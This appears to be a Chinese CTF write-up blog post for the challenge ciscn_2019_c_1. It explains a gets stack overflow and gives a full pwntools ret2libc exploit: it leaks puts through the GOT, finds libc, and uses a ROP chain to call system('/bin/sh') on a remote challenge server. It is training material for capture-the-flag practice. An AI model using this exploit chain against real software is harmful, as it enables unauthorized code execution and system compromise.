获取中...

-

Just a minute...

ubuntu18在调用system的时候需要进行栈对齐

程序功能

程序是64位elf文件,无canary和PIE,开启了NX。有一个encrypt和decrypt,漏洞点在encrypt中的gets函数。在encrypto函数中gets函数输入数据然后对输入的数据进行加密,如果是小写字母与0xD异或,大写字母与0xE异或,如果是数字和0xF异或,之后输入的数据不做处理

程序漏洞

encrypt中存在栈溢出

漏洞利用

没有system函数和’/bin/sh’,没有libc文件,有put函数,可以leak。所以泄漏出函数地址确定libc,构造rop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *
sh = remote('node3.buuoj.cn', 25378)
#sh = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

main_addr = elf.sym['main']
log.success('main_addr => {}'.format(hex(main_addr)))
pop_rdi_ret = 0x400c83

puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
puts_got = elf.got['puts']
log.success('puts_plt => {}'.format(hex(puts_plt)))#0x4006e0
log.success('gets_got => {}'.format(hex(gets_got)))#0x602050
log.success('puts_got => {}'.format(hex(puts_got)))#0x602020

payload1 = 'a' * 88
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload1 += p64(main_addr)

sh.sendlineafter('Input your choice!\n', '1')
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()

puts_addr = u64(sh.recvline()[:-1].ljust(8, '\0'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

log.success('puts_addr => {}'.format(hex(puts_addr)))
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))

ret=0x4006b9
payload2 = 'a' * 88
payload2 += p64(0x4006b9)
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

sh.sendlineafter('Input your choice!\n', '1')
sh.sendline(payload2)
sh.interactive()
相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!